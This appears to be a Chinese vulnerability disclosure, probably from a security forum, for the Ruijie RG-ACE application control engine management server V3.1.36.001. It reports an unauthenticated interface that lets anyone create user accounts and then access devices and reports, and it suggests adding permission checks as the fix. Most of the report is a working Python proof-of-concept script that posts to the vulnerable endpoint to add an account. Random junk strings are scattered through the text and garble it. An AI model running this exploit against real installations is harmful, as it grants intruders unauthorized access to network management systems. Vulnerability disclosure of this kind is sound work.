锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
2 {% E, j- p& I
, ~# `: Q# U" T2 ]: u5 r4 n8 k& s" \- N' m8 M
测试的具体版本是4 Z* v3 Z! S& D9 w: c# y
产品名称: 锐捷应用控制引擎6 C+ x) t' O6 v' y3 a; I7 R
版本号: 3.1.36.001 TC! [. c, [ |) h6 v, }: U
编译时间: 201104291730
9 ] O+ ]) e0 @' j$ R( ~& W ' T; ?! v6 u3 W7 m/ ^, y' k
$ \) J$ c/ u' B# _4 Z$ t5 G) t漏洞证明:4 n% P1 [; m, t7 {6 I0 ]; W2 t
" ~. ^6 p1 H" f" X% ?6 R2 |. n' y! v4 w& I; f+ Y4 B4 J
# j( z" H) E0 V3 U3 Z- Y) ~) R* _& ^. s# ?" F" J( ^8 Z5 J
2 Q. L" f. b& F( e8 P7 n" q ~; W* j- r2 r$ Z( D9 y O6 l8 G
执行脚本
/ K! m" {" V L4 H& |#! /usr/bin/env python H+ E& R( ?9 R$ l8 I; n0 v
#coding=gbk
8 }4 c8 y# ]/ r `#RG-ACE管理服务器 V3.1.36.001
, h2 y; b8 d( K$ `$ ~, J( h4 w& Vimport urllib2, urllib,cookielib* F) w# V8 V) j9 X
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
3 r, H: v0 ^' E$ s5 n( P% wopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
7 k) U6 d- A0 S [; Aopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]9 \0 e( h( v: @% c5 n1 p
post=(("event","userManager.doInsertUserInfo"),/ M9 L4 Q9 i% W7 z' U
("useractionname","addButtonValue"),
- }& Z! _) _% g( \5 F("useropermanager","userManager"),& l; b6 B5 H1 X% l# u* Q r
("userName","t"), #######账号自己加
( H$ ?. I+ X. X+ U" t7 Z+ h, D("pwd","aaaaaa"),######密码自己加
- M0 _6 t# K4 r9 l: V* M("trueName","ad"),
4 ]. N, N6 n/ n) W7 p("email",""),( p' U, G. X( d* j: ]
("mobilePhone",""),, o* H% O( A7 H* W+ s
("officePhone",""),
% X6 q" S; v$ w, Z# V) l9 O( n. C6 o0 e% B("addr",""),
% q3 K+ E( X1 z5 [$ {9 I4 d% q("submit","确定"))7 X0 w* g$ M. }" O
urllib2.install_opener(opener)
% j" j3 A/ _" \7 qp=urllib2.urlopen(url, urllib.urlencode(post)).read()5 [; P, R& T' G
print "Done"7 o% Z' O2 t# |( u" A. \
. r8 j! T& e9 d0 K$ u& p
登录,连接设备
4 M& v( {1 H3 @9 P
3 U: X" I7 J; O6 o7 x
. L* Z- ^1 `+ {# g0 P3 F# F) m" O9 Z+ J
# |; s0 T; [" f9 l0 R) N* s0 n, P# E1 P: f- X/ M/ E
默认的管理员admin权限更大点/ C _. m# o$ Y% K3 j" b+ h
- a1 v# r2 C' d K6 U- R/ R. Y# E! t- _
" H4 L: p$ X! u5 Z7 }# y% C& g3 x @
% B$ l. b5 P) f: i1 N* l0 t; J# e$ O. a1 i# ? J8 G
修复方案:5 ?0 y. a7 f& s+ Y: v; U
加强对接口的权限验证
2 w( }0 P% w2 i4 B: \: o
- N. s7 J3 \* G: X |